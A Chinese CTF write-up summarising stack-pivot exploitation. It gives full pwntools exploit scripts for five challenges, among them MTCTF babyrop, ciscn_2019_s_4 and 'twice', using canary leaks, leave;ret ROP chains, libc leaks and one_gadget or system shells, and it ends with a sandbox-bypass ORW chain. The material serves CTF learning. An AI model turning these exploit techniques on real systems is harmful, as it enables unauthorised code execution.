栈迁移总结

例题1 MTCTF babyrop (64位)

思路

checksec

main函数

V6

vuln

buf

题目情况:发现有个循环,一次读一个字节,如果你输入失败或者输入\n就把最后一位置零,然后break;还有就是输入满24个字符也break。然后就是一个字符串匹配,但匹配的是字符串的地址。Vuln是一个读0x30字节的read,buf可溢出8字节。

基本上就确定了是栈迁移,前置条件是一个字符串匹配和金丝雀,看V6发现和循环条件正好匹配输入0x18个字节,下文还有个printf,满足泄露金丝雀,覆盖掉金丝雀最后字节\x00泄露。
栈迁移这里有2种构造

EXP

第一种

from pwn import *
context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process('babyrop')
elf = ELF('babyrop')
libc = ELF("./libc-2.27.so")

def dbg():
    gdb.attach(p)
    pause()
# 
read = 0x40072E
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss_addr = 0x601100
lea_ret = 0x4008A2
pop_rdi_ret =0x400913
pop_rsi_r15_ret = 0x0400911
pop_rbp_ret = 0x0400698
passwd = 0x4009AE
bss_addr = elf.bss()+0x500+0x20 # bss()获取bss段地址是__bss_start的地址
puts = elf.sym['puts']

sa("What your name? ",'b'*0x19)
ru('b'*0x18)
canary = u64(p.recv(8))-0x62
lg('canary',canary)
p.recvuntil("Please input the passwd to unlock this challenge\n")
p.sendline(str(passwd))
p.recvuntil("message\n")
pl = 'a'*0x18+p64(canary)+p64(bss_addr)+p64(read)
p.send(pl)
pl1 = p64(puts_got) + p64(puts) + p64(read)+p64(canary)
pl1 += p64(bss_addr-0x30)+p64(read)
p.send(pl1)
pl = 'a'*0x18+p64(canary)+p64(bss_addr+0x50)+p64(pop_rdi_ret)
p.send(pl)
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr- libc.sym['puts']
lg('libc_base',libc_base)
one_gadget = 0x4f3d5 + libc_base
pl = 'a'*0x18+p64(canary)+p64(0)+p64(one_gadget)
p.sendline(pl)
p.interactive()
bss构造

这种构造是三次栈迁移(这里的vuln就是read功能)
第一次是在buf读内容,溢出跳转read
第一次在0x500读入内容,溢出跳转read
第二次在0x4c0读入内容(设置好rbp)。溢出跳转poprdi(相当于用读2次来扩充read大小,原大小不足以构建完整payload)
最后执行vuln时,就会往设置好的rbp输入内容ret one_gadget

read跳转:
栈溢出利用read时,往往read函数的buf不是我们想要的bss段


read

我们会发现这里的buf是[rbp+buf]->rax->rsi,而在栈中我们知道buf = rbp-0x20,所
以设置rbp为 我们要输入的位置 + 0x20 这样buf就被修改为我们需要读入的bss段了

第二种

from pwn import *
context.log_level = "debug"

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process("./babyrop")

sa("? \n", "a"*0x19)
ru('a'*0x18)
canary = u64(p.recv(8))-0x61
lg('canary',canary)

sla("challenge\n", 0x4009ae)

leave_ret = 0x400759
bss_addr = 0x601800
pl = "a"*0x18+p64(canary)+p64(bss_addr)+p64(0x40072E)
sa("message\n", pl)

puts = 0x40086E 
pop_rdi_ret = 0x400913

pl2 =p64(pop_rdi_ret)+p64(0x600fc0)+p64(puts)
s(pl2+p64(canary)+p64(0x601800-0x28)+p64(leave_ret))
libc_base = u64(p.recvuntil("\x7f")[-6:]+"\x00\x00")-0x80aa0
lg('libc_base',libc_base)
one = libc_base+0x4f432
s("a"*0x18+p64(canary)+p64(0)+p64(one))
p.interactive()

这种构造则执行了2次栈迁移
第一次bss段输入,溢出跳转read
第二次在0x6017e0输入内容,溢出跳转leave_ret
最后同样的栈溢出one_gadget
区别在于这里用的puts函数是vuln函数上方的函数


puts

这样的结果就是在执行完puts后就会执行一遍vuln,从而得到最后一次栈溢出

leave ret:
mov esp ebp
pop ebp
pop eip
原理的话栈迁移原理图示 - yichen0115 - 博客园 (cnblogs.com)
算是栈迁移的常规利用,控制ebp的值为写入的地址,注意的是最后eip执行是从ebp位置+0x8开始执行的
64位是寄存器传参,所以有所区别,read和leaveret一般分开用

例题2 ciscn_2019_s_4 (32位)

思路

防护

IDA

VUL

题目很简单2次read输入,每次能多溢出4字节
32位这种题,溢出一个字长,read不行,puts也不行
没办法转移到bss段上,所以考虑就写s(转自己身上),利用前边的填充位置写payload

EXP

from pwn import *
context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process('ciscn_s_4')
#p = remote('node4.buuoj.cn',27969)
elf = ELF('ciscn_s_4')
libc = ELF("./libc-2.27.so")

def dbg():
    gdb.attach(p)
    pause()

bss_addr = 0x804a500
system = elf.sym['system']
read = elf.sym['read']
leave_ret = 0x080484b8
lg('bss_addr',bss_addr)

pl = 'a'*0x28
sa('name?',pl)
ru(pl)
s = u32(p.recv(4).ljust(4,'\x00'))-0x38
lg('s',s)
pl = p32(system)+'aaaa'+ p32(s+12)+'/bin/sh\x00'
pl = pl.ljust(0x28,'a')
pl += p32(s-4)+p32(leave_ret)
p.send(pl)
p.interactive()

第一次read去获取一个s的地址
第二次就构造自我跳转
system函数传入的参数是/bin/sh的地址,在栈上传字符注意使用p.send

例题3 第五空间2020 twice(64位)

思路

main

第一次循环和第二次循环

vuln

check

64位有金丝雀,观察题目发现,第一次循环时count=0,只能输入89个字符,而二次112个字符,总共也只有2次循环。第一次还会把最后一位置零。
第一次就是用来泄露金丝雀
第二次则用来栈迁移泄露libc 和getshell
这里有2个EXP,只有一点区别,就是在执行完puts泄露函数地址后执行的函数不同
如果是选择用start函数,一定要注意canary会重置,ebp也会改变。
而选择0x4007a9(for循环的条件函数),不直接用read函数在于read函数是一个条件跳转,不能直接调用
这道题的输入数据很大,就不用转移到bss段上,自我跳转执行即可
tips:一定要写好exp流程,recvuntil什么的

EXP

# system(/bin/sh)
from pwn import *
context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process('twice')
#p = remote('node4.buuoj.cn',27969)
elf = ELF('twice')
libc = ELF('./libc-2.23.so')

def dbg():
    gdb.attach(p)
    pause()

pop_rdi_ret = 0x400923
puts_plt = elf.plt['puts']
puts = elf.sym['puts']
puts_got = elf.got['puts']
leave_ret=0x0400879
start = 0x0400630
# leak canary 1
pl = 'a'*0x59
p.recvuntil(">")
s(pl)
ru(pl)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
s_addr = ebp - 0x70
lg('canary',canary)
lg('s_addr',s_addr)
# write bss 2
p.recvuntil(">")
pl = p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
pl = pl.ljust(0x58,'a')
pl += p64(canary)+p64(s_addr-8)+p64(leave_ret)
s(pl)
p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
lg('puts_addr',puts_addr)
#leak libc
libc_base = puts_addr - libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]
binsh_addr=libc_base + libc.search("/bin/sh").next()
lg('libc_base',libc_base)

# agin
pl = 'a'*0x59
p.recvuntil(">")
s(pl)
ru(pl)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
s_addr = ebp - 0x70
#
pl = p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
pl = pl.ljust(0x58,'a')
pl += p64(canary)+p64(s_addr-8)+p64(leave_ret)
s(pl)
p.interactive()
# one_gadget
from pwn import *
context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process('twice')
#p = remote('node4.buuoj.cn',27969)
elf = ELF('twice')
libc = ELF('./libc-2.23.so')

def dbg():
    gdb.attach(p)
    pause()

pop_rdi_ret = 0x400923
puts_plt = elf.plt['puts']
puts = elf.sym['puts']
puts_got = elf.got['puts']
leave_ret=0x0400879
start = 0x0400630
gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
# leak canary 1
pl = 'a'*0x59
p.recvuntil(">")
s(pl)
ru(pl)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
s_addr = ebp - 0x70
lg('canary',canary)
lg('s_addr',s_addr)
# write bss 2
p.recvuntil(">")
pl = p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x04007a9)
pl = pl.ljust(0x58,'a')
pl += p64(canary)+p64(s_addr-8)+p64(leave_ret)
s(pl)
p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
lg('puts_addr',puts_addr)
# leak libc
libc_base = puts_addr - libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]
binsh_addr=libc_base + libc.search("/bin/sh").next()
one = gadget[0]+libc_base
lg('libc_base',libc_base)

# get shell
pl = 'a'*0x58+p64(canary)+p64(0)+p64(one)
sl(pl)
p.interactive()

例题4 一道普通的栈迁移进阶

1

2
3

题目很简单,0x20的栈空间,能输入0x30

思路

这道题和我一般认识的栈迁移有不同,似乎利用了一种固定化的结构
利用栈溢出设置read位置的同时,还设置了rop链的执行。调试了好几遍才搞懂为什么,算是打开了一种新思路吧。
(一条栈溢出,一条不溢出)


image.png

EXP

from pwn import *
r=process('./alittle')
elf=ELF('./alittle')

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
bss=0x601000+0x600
rdi=0x00000000004005d3
leave=0x40054B # read
ret=0x400568
r.recv()
pay='a'*0x20+p64(bss)+p64(leave)#为了下次不溢出时能ret执行rop,固定rsp
r.send(pay)

pay1='a'*0x20+p64(bss+0x20)+p64(leave)
#pay1是写在bss-0x20处的,而read则是往bss处写入rop链并执行
r.send(pay1)

pay2=p64(0)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400537)
# ret到p64(rdi)的原因就是pay设置好的ret地址
# gdb.attach(r)
r.send(pay2)
# leak libc
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+0x1b3e1a
# 设置read输入位置
pay3='a'*0x20+p64(bss+0x40)+p64(leave)#rbp
r.send(pay3)
# 再由read函数ret调用rop链
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
r.send(pay4)
r.interactive()

例题5 atitile-up(64位)

思路

和例题4一模一样,只是开了沙箱,这个板子值得记一下


image.png

image.png

EXP

from pwn import *
r=process('./alittle-up')
elf=ELF('./alittle-up')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
bss=0x601000+0x400
rdi=0x0000000000400833
leave=0x4007B1
ret=0x4007CC
rsi=0x0000000000400831
r.recv()
pay='a'*0x100+p64(bss)+p64(leave)
r.send(pay)
pay1='a'*0x100+p64(bss+0x100)+p64(leave)
r.send(pay1)
pay2=p64(bss+0x110)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400790)
r.send(pay2)
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
pay3='a'*0x100+p64(bss+0x120)+p64(leave)
r.send(pay3)
pay5=p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(base+libc.sym['read'])+p64(0x400790)
r.send(pay5)
r.send("flag")
gdb.attach(r)
pay6='a'*0x100+p64(bss+0x300)+p64(leave)
#gdb.attach(r)
r.send(pay6)
pay1='a'*0x100+p64(bss+0x400)+p64(leave)
r.send(pay1)


#gdb.attach(r)
pay8=p64(0)+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(base+libc.sym['syscall'])
pay8+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(base+libc.sym['read'])
pay8+=p64(rdi)+p64(0x601200)+p64(base+libc.sym['puts'])+p64(0x400790)
r.send(pay8)
r.interactive()

总结

栈迁移基本上都是利用覆盖返回地址来实现控制eip
核心上还是leave_ret->控制esp->控制eip
常用的思路是布局+(canary)+ebp+leaveret的形式

  • leaveret可以替换为read,相应的就要修改ebp来控制读入位置,实现布局空间扩充
  • 布局里也可以加入read等函数,实现循环输入
  • shellcode可执行就考虑jmp esp + sub esp 0x??/jmp esp 的手法
  • read式的栈迁移,能用一条栈溢出来控制读入位置和执行位置,按特殊结构布置

有时候第一次read会用来泄露金丝雀和栈地址(以获取输入点的地址),第二次就执行leave_ret跳转利用puts函数泄露libc同时布局第三次输入,第三次直接利用栈溢出的方式one_gadget(总共需要程序提供2次输入)
也有时候会因为范围过小,第一次read会用来泄露金丝雀和栈地址(以获取输入点的地址),第二次返回导向read读入布局同时返回导向read,第三次即到低位继续补充布局在最后ret一次性执行布局(两次输入布局加启用)(总共需要程序提供1次输入)
当然具体输入情况还是要看题目,目前做的题还不够多,会慢慢补充修改

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,084评论 6 503
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,623评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,450评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,322评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,370评论 6 390
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,274评论 1 300
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,126评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,980评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,414评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,599评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,773评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,470评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,080评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,713评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,852评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,865评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,689评论 2 354

推荐阅读更多精彩内容